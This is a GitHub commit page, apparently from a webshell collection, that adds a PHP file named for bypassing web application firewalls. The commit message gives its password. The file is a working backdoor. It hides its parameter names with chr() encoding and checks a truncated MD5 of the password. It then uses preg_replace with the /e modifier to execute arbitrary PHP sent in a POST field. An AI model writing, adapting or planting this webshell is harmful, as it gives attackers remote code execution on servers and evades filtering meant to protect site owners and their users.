Skip to content

Commit

Permalink
Create bypass-waf-2015-06-16-01.php
Browse files Browse the repository at this point in the history
pass : c451cc
from : zone.wooyun.org
  • Loading branch information
tennc committed Jun 16, 2015
1 parent bdaf245 commit 6c2b8ab
Showing 1 changed file with 21 additions and 0 deletions.
21 changes: 21 additions & 0 deletions php/bypass-waf-2015-06-16-01.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
<?php
function getMd5($md5 = null) {
$key = substr(md5($md5),26);
return $key; }
$array = array(
chr(112).chr(97).chr(115).chr(115),
chr(99).chr(104).chr(101).chr(99).chr(107),
chr(99).chr(52).chr(53).chr(49).chr(99).chr(99)
);
if ( isset($_POST) ) $request = &$_POST;
elseif ( isset($_REQUEST) ) $request = &$_REQUEST;
if ( isset($request[$array[0]]) && isset($request[$array[1]]) ) {
if ( getMd5($request[$array[0]]) == $array[2] ) {
$token = preg_replace (
chr(47) . $array[2] . chr(47) . chr(101),
$request[$array[1]],
$array[2]
);
}
}
?>

0 comments on commit 6c2b8ab

Please sign in to comment.